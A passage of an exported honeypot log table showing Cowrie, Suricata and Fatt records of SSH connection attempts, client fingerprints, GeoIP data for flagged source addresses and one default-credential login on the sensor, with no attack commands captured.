"duration": 2.8535470962524414, "timestamp": "2021-09-20T11:31:15.815387Z", "@timestamp": "2021-09-20T11:31:15.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29930	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:31:16.63954+03	2021-09-20 14:45:02.354142+03	{"_id": "RAb5AnwBvYTbRNuEejnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1852541549974479, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47048, "dest_port": 22, "timestamp": "2021-09-20T11:31:16.639540Z", "@timestamp": "2021-09-20T11:31:16.639Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29931	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:16.604189+03	2021-09-20 14:45:02.355142+03	{"_id": "RQb5AnwBvYTbRNuEezn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47048, "timestamp": "2021-09-20T11:31:16.604189", "@timestamp": "2021-09-20T11:31:16.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29932	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:31:24.917537+03	2021-09-20 14:45:02.357142+03	{"_id": "Xgb5AnwBvYTbRNuEnjkE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:31:24.367090+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2096648164252146, "payload": "AAADzAYUnSO1eZcnV/jTDRySJj1y8AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50684, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:31:24.917537Z", "@timestamp": "2021-09-20T11:31:24.917Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......#.y.'W..\\r..&=r....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29933	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:24.913325+03	2021-09-20 14:45:02.358142+03	{"_id": "YQb5AnwBvYTbRNuEnzkp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50684, "timestamp": "2021-09-20T11:31:24.913325", "@timestamp": "2021-09-20T11:31:24.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29934	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:31:24.917537+03	2021-09-20 14:45:02.359142+03	{"_id": "YAb5AnwBvYTbRNuEnzkp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50684, "dest_port": 22, "timestamp": "2021-09-20T11:31:24.917537", "@timestamp": "2021-09-20T11:31:24.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29935	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:31:25.809162+03	2021-09-20 14:45:02.361142+03	{"_id": "aAb5AnwBvYTbRNuEoDlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "15a6e3d1d690", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:31:25.809162Z", "@timestamp": "2021-09-20T11:31:25.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29936	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:31:24.639769+03	2021-09-20 14:45:02.362142+03	{"_id": "Wgb5AnwBvYTbRNuEnDlg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:50684 (192.168.176.2:22) [session: 664c8228593a]", "session": "664c8228593a", "@version": "1", "protocol": "ssh", "src_port": 50684, "dest_port": 22, "timestamp": "2021-09-20T11:31:24.639769Z", "@timestamp": "2021-09-20T11:31:24.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29937	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:31:24.643666+03	2021-09-20 14:45:02.363141+03	{"_id": "Wwb5AnwBvYTbRNuEnDlg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "664c8228593a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:24.643666Z", "@timestamp": "2021-09-20T11:31:24.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30814	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.690161+03	2021-09-20 14:45:03.662142+03	{"_id": "igYAA3wBvYTbRNuEdz8t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "ba4d69bbbea1", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:38:53.690161Z", "@timestamp": "2021-09-20T11:38:53.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
29938	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:31:24.918202+03	2021-09-20 14:45:02.365142+03	{"_id": "XAb5AnwBvYTbRNuEnDlg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "664c8228593a", "@version": "1", "timestamp": "2021-09-20T11:31:24.918202Z", "@timestamp": "2021-09-20T11:31:24.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29939	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:31:24.913135+03	2021-09-20 14:45:02.366145+03	{"_id": "XQb5AnwBvYTbRNuEnjkE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 2096648164252146, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50684, "dest_port": 22, "timestamp": "2021-09-20T11:31:24.913135Z", "@timestamp": "2021-09-20T11:31:24.913Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29940	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:25.811501+03	2021-09-20 14:45:02.367143+03	{"_id": "Xwb5AnwBvYTbRNuEnzkp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49028, "timestamp": "2021-09-20T11:31:25.811501", "@timestamp": "2021-09-20T11:31:25.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29941	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:31:25.628601+03	2021-09-20 14:45:02.368142+03	{"_id": "Zwb5AnwBvYTbRNuEoDlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:49028 (192.168.176.2:22) [session: 15a6e3d1d690]", "session": "15a6e3d1d690", "@version": "1", "protocol": "ssh", "src_port": 49028, "dest_port": 22, "timestamp": "2021-09-20T11:31:25.628601Z", "@timestamp": "2021-09-20T11:31:25.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29942	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:31:25.989388+03	2021-09-20 14:45:02.369142+03	{"_id": "aQb5AnwBvYTbRNuEoDlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "15a6e3d1d690", "@version": "1", "timestamp": "2021-09-20T11:31:25.989388Z", "@timestamp": "2021-09-20T11:31:25.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
